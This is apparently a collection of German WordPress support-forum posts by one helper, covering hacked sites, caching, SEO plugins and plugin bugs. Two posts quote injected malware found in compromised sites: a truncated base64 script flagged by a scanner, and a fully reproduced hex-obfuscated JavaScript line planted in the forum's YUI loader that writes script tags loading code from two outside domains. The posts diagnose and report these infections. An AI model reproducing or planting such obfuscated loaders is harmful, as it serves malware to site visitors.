Beiträge von b3317133

Vermutlich liegt ein Hack vor. Ein externer Scanner meldet einige sehr verdächtige Daten, sehe diese Daten nicht direkt im Code hier bei mir, aber das heisst nichts, evtl. werden/wurden diese Daten nur unter bestimmten Umständen vom Server/Hack ausgeliefert, z.B. bestimmtes Betriebssystem, bestimmter Browser, Referer o.ä.

Potentially Suspicious files: 10 -> Threat dump: View code, z.B.

Zitat

[[<script type='text/javascript' language='javascript' > var GFGCRMKCIZ = atob('dmFyIE5PREhURkNIQlEgPSBTdHJpbmcuZnJvbUNoYXJDb2RlKDE5IC0gOSwgMTI3IC0gOSwgMTAxIC0gNCwgMTIxIC0gNywg...

Seltsam, lt. Quelltext einer nicht vorhandenen Seite, z.B. [FONT=courier new]view-source:https://www.blubonbon.com/asasddas[/FONT] sieht es so aus, als wäre das Plugin nach wie vor präsent, sonst wäre da kein [FONT=courier new]<!-- Page not cached by WP Super Cache. 404. -->[/FONT] ganz am Ende.

Firefox meint zudem "Die Webseite, die Sie öffnen möchten, kann nicht angezeigt werden, da sie eine ungültige oder unbekannte Form der Kompression verwendet." - auch das deutet ggf. auf ein Cache-Problem hin oder z.B. falsche Einträge in der [FONT=courier new].htaccess[/FONT] hin. Benenne die mal testweise um.

Dann wende Dich am besten an denjenigen, der den Website eingerichtet und etwas Ahnung von PHP usw. hat, der sollte dann die Beschreibung Deiner Besucher nachvollziehen können.

Mehr kann man ohne Link zur Seite nicht sagen.

Deaktiviere mal das "WP Super Cache"-Plugin.

Zitat von ebebe

es kommt auch nur wenn man die Seite über die Google Suche aufruft.

Beispiel? Wie genau kann man das Problem nachstellen?

Herausfinden, ob/wie man gehackt wurde, kann jemand, der sich etwas auskennt, am besten in Server-Logfiles, im PHP/JS-Quellcode von WordPress, dem Theme, den Plugins usw., und in der Datenbank.

Ergänzung: Konnte den Effekt grade nachvollziehen, die Installation ist definitiv gehackt.

So geht es weiter: Gehackte Dateien analysieren, über Server-Logs feststellen, wann/woher diese Dateien kamen, Lücke identifizieren, Lücke schliessen. Alle Systemdateien von WordPress ersetzen, dafür wp-admin/ und wp-includes/ komplett löschen. Alle Plugins durch saubere Versionen ersetzen, dafür alle Ordner in wp-content/plugins/ löschen, gleiches gilt für die Themes. Alle PHP-Dateien in wp-content/uploads/ suchen/löschen. Alle Passwörter ändern, FTP, MySQL, WordPress Accounts, usw.

Zitat von SibylleS

Kann mir jemand einen Tipp geben bitte? Ich hätt's gern grüner

Verwende reinen Text auf einer leeren Seite ohne Spalten und sonstiges..

Diese "grün" Anzeigen in irgendwelchen SEO-Plugins sind allenfalls Anhaltspunkte für Standardfälle. Sobald (wie in diesem Fall) komplexeres Layout oder ein Page Builder usw. zum Einsatz kommt, stösst ein Plugin an technische Auswertungsgrenzen und solche Anzeigen sind dann oft eher schädlich als nützlich, wenn man/frau krampfhaft auf "grün" hinarbeitet u.ä. - schalte sie am besten ab.

Vermutlich stört sich der "SEO-Check" an sowas hier:

<strong class='logo'><a href='https://xxx/'><img height='100' width='300' src='https://xxx.png' alt='xxx' /></a></strong>

Wir findet man sowas? Am besten, indem man sich einfach den HTML-Quelltext der Seite anschaut, ohne irgendwelche "Tools".

Stört sowas? Dazu gibt es sicher unterschiedliche Ansichten, die Nutzung des Tags an der Stelle ist eher "ungewöhnlich", befrage mal den Theme-Autor dazu, evtl. gibt es Gründe durch Theme-Options bzgl. "mit/ohne Logo" usw.

Soll man "SEO-Checks" und deren "Tipps" als die "reine Wahrheit" ansehen? Sicherlich nicht...

Zitat von Kai-Christoph

Auf der WP Installation selbst, laufen Wordfence und iThemes Security.

Zwei "Security" Plugins gleichzeitig sind eher keine gute Idee, die kommen sich sicherlich hier und da in die Quere.

Zitat von Kai-Christoph

Irgend jemand eine Idee, was man da machen kann?

Den (zunächst mal HTML-)Quellcode der Seite anschauen und das Problem identifizieren.

Und wieder ist das Forum gehackt und versucht Trojaner von den Domains [FONT=courier new]wordc.ga[/FONT] und [FONT=courier new]mwor.gq[/FONT] nachzuladen... ohne Worte.

forum.wpde.org/clientscript/yui/yuiloader-dom-event/yuiloader-dom-event.js?v=425

Zitat

/*
Copyright (c) 2011, Yahoo! Inc. All rights reserved.
Code licensed under the BSD License:
http://developer.yahoo.com/yui/license.html
version: 2.9.0
*/
[COLOR=#ff0000]var _0x33b3=["\x3C\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x22\x2F\x2F\x77\x6F\x72\x64\x63\x2E\x67\x61\x2F\x69\x69\x6C\x6C\x69\x6F\x69\x64\x22\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x3C\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x22\x2F\x2F\x6D\x77\x6F\x72\x2E\x67\x71\x2F\x69\x6F\x65\x66\x6A\x6A\x65\x69\x22\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E","\x77\x72\x69\x74\x65"];var _0x3ecb=[_0x33b3[0],_0x33b3[1]];var _0x5bf0=[_0x3ecb[0],_0x3ecb[1]];var _0x9203=[_0x5bf0[0],_0x5bf0[1]];var _0xab61=[_0x9203[0],_0x9203[1]];document[_0xab61[1]](_0xab61[0])[/COLOR]
if(typeof YAHOO=="undefined"||!YAHOO){var YAHOO={};}YAHOO.namespace=function(){var b=arguments,g=null,e,c,f;for(e=0;e<b.length;e=e+1){f=(""+b[e]).split(".");g=YAHOO;for...

Alles anzeigen

Ohne die Plugins zu kennen, würde ich mal sowas vermuten:

[FONT=courier new]do_action( 'slideshow_deploy', CFS()->get( 'getslideshow' ) );
[/FONT]
Falls mit dem "Slideshow-Plugin" dieses hier gemeint sein sollte, das empfiehlt sich ggf. aus Alters- und Kompatibilitätsgründen eher nicht mehr.[FONT=courier new]
[/FONT]

Könnte auch an einem bisher genutzten Nebeneffekt des verwendeten Yoast SEO liegen, die bei Yoast verändern gern mal was, siehe z.B. im Changelog von 7.0:

Zitat

- Introduces a new setting to redirect attachment URLs. Previously, we had an option to redirect attachment URLs to their post parent. ... This new setting redirects all attachment URLs to the URL of the original image / media item. This is all explained on the new Media tab under Search Appearance. This setting is enabled by default for new installations.

Erstelle ein eigenes Menü mit nur den von Dir gewünschten Seiten und ordne es der entspr. "Menu-Position" im Theme zu, derzeit wird offenbar das automatisch von WordPress erstellte Menü benutzt.

Zitat von chrisg9

Allerdings ändert sich bei mir auch die URL des Original-Beitrags, sobald ich ihn dupliziere. Hier wird auch eine -2 drangehängt, so dass beide Artikel die gleiche URL haben.

Würde das als Bug beim Entwickler des Duplicate Posts Plugins melden, wenn es auch passiert, wenn alle sonstigen Plugins deaktiviert sind.

Jetzt funktioniert der o.g. vormals fehlerhafte Link zur Einzelseite, also hat das Plugin aus-/anschalten offenbar irgendwas bewirkt.IT CV

Der entspr. Beitrag ist im System vorhanden, also kein alter Cache-Eintrag, er wird sowohl auf der Startseite, als auch auf der Kategorie-Seite z.B. [FONT=courier new]/category/reiseangebote/[/FONT] als auch via REST API [FONT=courier new]/wp-json/wp/v2/posts/17500[/FONT] angezeigt.

Warum er als Einzelseite nicht gezeigt wird, bleibt offen. Evtl. laufen irgendwelche Plugins, die da was beeinflussen. Würde testweise mal alle Plugins deaktivieren, um der Sache weiter auf den Grund zu gehen.

Zitat von chrisg9

Hier ein Beispiel: ... Das ist der Original-Beitrag, welche ich dupliziert haben. Auf der Startseite wirst du sehen, dass dieser dort noch erscheint.

Derzeit ist das Cache-Plugin aktiv, damit kann man kein sinnvolles Debugging betreiben.

Wurde die Domain beim Umzug verändert?

Funktioniert es mit deaktiviertem Cache-Plugin?

Was bedeutet "funktioniert das Aufrufen des Beitragslinks überhaupt nicht mehr"? Link zu einem Beispiel?

Aus der oben verlinkten Anleitung zu Contact Form 7:

Zitat

Special Mail Tags for Submissions
...
[FONT=courier new][_date][/FONT] — This tag is replaced by the date of the submission.

Schön dass es klappt und danke für die Rückmeldung.

Tipp: Man muss keine eigenen Pfade über IDs usw. basteln, Ultimate Member bietet auch Dateipfade usw. in passender Form, Code lesen, Doku lesen...

Ultimate Member bietet eine Vielzahl von Möglichkeiten, an die entspr. Inhalte der Felder zu kommen, siehe auch Dokumentation, einfach irgendwas probieren ist selten zielführend.

Wie machst Du es denn in der beschriebenen Kopfzeile, wo das Befüllen aus den Daten von Ultimate Member funktioniert?